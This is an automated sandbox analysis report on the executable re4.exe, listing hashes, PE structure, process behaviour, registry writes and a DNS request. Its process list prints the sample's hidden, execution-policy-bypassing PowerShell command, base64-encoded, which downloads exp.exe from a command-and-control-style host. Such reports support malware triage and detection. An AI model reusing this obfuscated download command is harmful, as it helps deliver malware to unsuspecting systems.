File name:

re4.exe

Full analysis: https://app.any.run/tasks/a860d7b0-2969-4b37-9912-67b06174e3b0
Verdict: Malicious activity
Analysis date: June 27, 2022, 11:50:34
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (console) Intel 80386, for MS Windows
MD5:

2C37AC2CD4D8D82D3FFC28A56F7A7902

SHA1:

4730C36ECD2E6F199FE4A22B8F055ECBA0EDB105

SHA256:

4E56373FB7149B2CA283A32303CA02499C912EC465BCE9C18ED0B73E1ADEB45F

SSDEEP:

192:Lh6/EpD3YVzDDvVCDRA0ofXrjOW56WY9vNq7E5pzcVSN9:Lh68F3Uv4DRA0EXrjl6WY9s76N9

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3948)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • re4.exe (PID: 2640)

    • Checks supported languages

      • powershell.exe (PID: 2896)
      • cmd.exe (PID: 3948)
      • re4.exe (PID: 2640)

    • Reads the computer name

      • powershell.exe (PID: 2896)

    • Reads Environment values

      • powershell.exe (PID: 2896)

    • Creates files in the Windows directory

      • re4.exe (PID: 2640)

  • INFO

    • Checks Windows Trust Settings

      • powershell.exe (PID: 2896)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

Subsystem: Windows command line
SubsystemVersion: 6
ImageVersion: -
OSVersion: 6
EntryPoint: 0x15c0
UninitializedDataSize: -
InitializedDataSize: 7168
CodeSize: 4608
LinkerVersion: 14.28
PEType: PE32
TimeStamp: 2022:04:09 15:25:44+02:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_CUI
Compilation Date: 09-Apr-2022 13:25:44
Detected languages:
  • English - United States
Debug artifacts:
  • C:\Users\echo\source\repos\btlo4\Release\btlo4.pdb

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000F0

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 5
Time date stamp: 09-Apr-2022 13:25:44
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x00001173
0x00001200
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.1744
.rdata
0x00003000
0x000010C6
0x00001200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.65684
.data
0x00005000
0x00000400
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
1.77599
.rsrc
0x00006000
0x000001E0
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.6976
.reloc
0x00007000
0x0000022C
0x00000400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
4.24398

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.91161
381
UNKNOWN
English - United States
RT_MANIFEST

Imports

KERNEL32.dll
VCRUNTIME140.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
ntdll.dll
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
4
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start re4.exe notepad.exe no specs cmd.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2640"C:\Users\admin\AppData\Local\Temp\re4.exe" C:\Users\admin\AppData\Local\Temp\re4.exe
Explorer.EXE
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221225477
Modules
Images
c:\users\admin\appdata\local\temp\re4.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\vcruntime140.dll
c:\windows\system32\api-ms-win-crt-runtime-l1-1-0.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\api-ms-win-core-timezone-l1-1-0.dll
c:\windows\system32\api-ms-win-core-file-l2-1-0.dll
c:\windows\system32\api-ms-win-core-localization-l1-2-0.dll
2896powershell.exe -ep bypass -windowstyle hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AcwBvAG0AZQBjADIALgBzAGUAcgB2AGUAcgAvAGUAeABwAC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIABjADoAXABcAHcAaQBuAGQAbwB3AHMAXABcAHQAZQBtAHAAXABcAGUAeABwAC4AZQB4AGUACgA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2952c:\windows\syswow64\notepad.exec:\windows\syswow64\notepad.exe—re4.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3948C:\Windows\system32\cmd.exe /c powershell.exe -ep bypass -windowstyle hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AcwBvAG0AZQBjADIALgBzAGUAcgB2AGUAcgAvAGUAeABwAC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIABjADoAXABcAHcAaQBuAGQAbwB3AHMAXABcAHQAZQBtAHAAXABcAGUAeABwAC4AZQB4AGUACgA=C:\Windows\system32\cmd.exe—re4.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
907
Read events
895
Write events
12
Delete events
0

Modification events

(PID) Process:(2896) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2896) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2896) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(2896) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(2896) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(2896) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(2896) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2896) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2896) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:FileTracingMask
Value:
(PID) Process:(2896) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:ConsoleTracingMask
Value:
Executable files
0
Suspicious files
2
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
2896powershell.exeC:\Users\admin\AppData\Local\Temp\wadnjg4h.zot.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2896powershell.exeC:\Users\admin\AppData\Local\Temp\myq35eaa.r0n.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2896powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

Domain
IP
Reputation
somec2.server
  • —
unknown

Threats

No threats detected
No debug info
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Reports
re4.exe